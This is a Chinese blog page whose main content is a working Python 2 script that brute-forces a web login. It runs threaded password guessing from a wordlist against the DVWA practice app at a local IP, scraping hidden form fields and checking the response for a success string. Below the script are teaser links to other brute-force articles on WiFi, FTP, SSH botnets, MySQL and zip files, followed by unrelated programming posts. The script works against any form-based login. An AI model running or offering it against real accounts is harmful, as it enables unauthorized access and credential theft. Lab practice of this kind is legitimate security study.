python实现暴力破解
import urllib2
import urllib
import cookielib
import threading
import sys
import Queue
from HTMLParser import HTMLParser
user_thread =10
#这里登录名默认admin
username ="admin"
#pass.txt中保存密码文本文件
wordlist_file ="pass.txt"
resume =None
#
target_url ="http://192.168.31.113:8080/dvwa/login.php"
target_post ="http://192.168.31.113:8080/dvwa/login.php"
#用户名区域
username_field="username"
#密码区域
password_field="password"
#检查是否成功登录
success_check="Welcome"
class BruteParser(HTMLParser):
def __init__(self):
HTMLParser.__init__(self)
self.tag_results={}
def handle_starttag(self,tag,attrs):
#找到<input>
if tag=="input":
tag_name=None
tag_value=None
# for example <input type="hidden" name="NXX" id="IDXX" value="VXX" />
# name=type,value=hidden name=name,value=NXX name=id,value=IDXX name=value,value="VXX"
#attrs中各标签的名字和值
for name_tag,name_tag_value in attrs:
#找到名字等于name的标签
if name_tag=="name":
#获得名字等于name的标签的值
tag_name=name_tag_value
#找到名字等于value的标签
if name_tag=="value":
#获得名字等于value的标签的值
tag_value=name_tag_value
# 将标签和标签的值放入tag_results{}
if tag_name is not None:
self.tag_results[tag_name]=name_tag_value
class Bruter():
def __init__(self):#注意__init__ 左右两边都是两个_
#打开密码文件读取内容
fd=open(wordlist_file,"rb")
raw_words=fd.readlines()
fd.close()
found_resume=False
#队列
words=Queue.Queue()
for word in raw_words:
word=word.rstrip()
if resume is not None:
if found_resume:
words.put(word)
else:
#如果中断,可以恢复
if word==resume:
found_resume=True
print("resuming from"+resume)
else:
words.put(word)
self.username=username
self.password_q=words#密码再保存到password_q
self.found=False#是否找到正确密码
print("finish setting for: %s" % username)
def web_bruter(self):
#密码队列没读取完且没找到正确密码
while not self.password_q.empty() and not self.found:
brute=self.password_q.get().rstrip()
#存放cookie
jar=cookielib.FileCookieJar("cookies")
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
#爬取目标网站内容
response=opener.open(target_url)
page=response.read()
print("plan to brute")
#获得标签
parser=BruteParser()
parser.feed(page)
post_tags=parser.tag_results
#传值给用户名区域
post_tags[username_field]=self.username
#传值给密码区域
post_tags[password_field]=brute
#url编码post_tags
login_data=urllib.urlencode(post_tags)
login_response=opener.open(target_post,login_data)
login_result=login_response.read()
#检查是否成功登录
if success_check in login_result:
self.found=True
print("success")
print(username+":"+brute)
# use more threads to start web_bruter
def run_bruteforce(self):
for i in range(user_thread):
t=threading.Thread(target=self.web_bruter)
t.start()
bruter_obj=Bruter()
bruter_obj.run_bruteforce()
python实现暴力破解的更多相关文章
- XAMPP、PHPstorm和PHPcharm和Windows环境下Python搭建+暴力破解
XAMPP的安装和使用 一.什么是XAMPP? XAMPP是最流行的PHP开发环境. XAMPP是完全免费且易于安装的Apache发行版,其中包含Apache.MariaDB.PHP和Perl. 类似 ...
- Python最新暴力破解WiFi,攻破所有密码限制,最强破解!
暴力破解wifi密码 这个代码也是非常简单,这里需要用Python中的pywifi这个库,所以需要在DOS命令下安装这个库,同样使用pip install pywifi,很简单就安装成功了,我用的是P ...
- Python脚本暴力破解FTP口令(ftplib)
目录 判断FTP服务器是否允许匿名登录 暴力破解FTP口令 列出FTP目录内的网页文件 综合 环境:Windows python2.7.15 ftplib模块是python下用于ftp服务的模块 . ...
- Python脚本暴力破解SSH口令以及构建僵尸网络(pxssh)
目录 暴力破解SSH口令 SSH远端执行命令 构建僵尸网络 环境:Kali Linux python 2.7.13 暴力破解SSH口令 Pxssh是pexpect库的ssh专用脚本,他能用预先写好的 ...
- [小技巧] Python 脚本暴力破解 HC2600 机顶盒管理密码
家里最近接入了广电有线电视,配了三个创维 HC2600 机顶盒,并且每个机顶盒还带有无线路由器功能. 免费赠送 Internet 接入服务倒也没什么,不过机顶盒内置的 WIFI 实在有点寒酸:只支持 ...
- python 编写暴力破解mysql用户名密码
本文摘自别人的,自己运行调试了一下#!/user/bin/env python#-*- coding:utf-8 -*- import pymysql#导入连接数据库的模块import sys cla ...
- 用python暴力破解压缩文件并不是万能,至少这个场景我告诉你密码你用代码也破解不了
看到论坛上各种贴子写用python进行暴力破解的文章,于是自己也想去尝试一下,不试不知道,一试吓一跳,真的就像那句有名的”python由入门到放弃“,把论坛上别人的脚本全部自己敲一遍,运行不报错,但也 ...
- 最详细Python批量字典暴力破解zip密码
工具破解 前两天在网上下来了一波项目案例,结果全是加密的压缩包,于是去网上找了一个压缩包破解的工具 苦于工具破解太慢,一个压缩包要好久,解压了三个之后就放弃了,准备另寻他法 密码字典 巧的是破解的三个 ...
- 4. DVWA亲测暴力破解
LOW等级 我们先用burpsuite抓包,因为burpsuite提供了暴力破解模块 我们先创建一个1.txt文件夹,把正确的账号密码写进去 我们输入 Username:1 Password: ...
随机推荐
- Ionic4.x 项目结构简单分析
新建项目 e2e:端对端测试文件 node_modules :项目所需要的依赖包 resources :android/ios 资源(更换图标和启动动画) src:开发工作目录,页面.样式.脚本和图片 ...
- IntelliJ IDEA中构建spring-boot项目
1. 打开 IDEA ,新建项目 2. 选择Spring Initializr 并在 Choose Initializr Service URL 填入 https://start.spring.io ...
- 贝济埃曲线quadTo与传统的手势轨迹平滑度对比分析
package com.loaderman.customviewdemo; import android.content.Context; import android.graphics.Canvas ...
- Redis Sentinel 高可用服务架构搭建
https://www.cnblogs.com/xishuai/p/redis-sentinel.html
- 0.9.0.RELEASE版本的spring cloud alibaba nacos实例
简而言之,nacos与eureka的不同之处有三:后台老板.部署方式.功能.nacos是阿里的,eureka是奈飞的:nacos有自己的安装包,需要独立部署,eureka仅作为一个服务组件,引入jar ...
- 【418】C语言ADT实现Quack(stack+queue)
quack.h #include <stdio.h> #include <stdlib.h> #include <assert.h> typedef struct ...
- SpringCloud学习成长 四 断路器(Hystrix)
在微服务架构中,根据业务来拆分成一个个的服务,服务与服务之间可以相互调用(RPC),在Spring Cloud可以用RestTemplate+Ribbon和Feign来调用.为了保证其高可用,单个服务 ...
- Treeview控件如何获得子节点的所有父节点的名称
Delphi或c++ 的treeview控件,比如一个节点上面有个父节点,这个父节点上面还有一个父节点,如何获得这两个父节点的名字呢?请给出实现代码 先定义一个nodevarnode:TTreeNod ...
- 直接用的tar压缩
将目录里的doc文件夹压缩成tar.gz tar -czf doc.tar.gz doc 解压tar.gz tar -xzvf doc.tar.gz 在不解压的情况下查看压缩包的内容: tar ...
- 未能加载文件或程序集“System.Web.Extensions, Version=1.0.61025.0, Culture=neutral
近日将电脑重装了一下,刚刚装上vs2005后打开以前的一个项目,居然出现了下面的错误: 未能加载文件或程序集“System.Web.Extensions.Design, Version=1.0.610 ...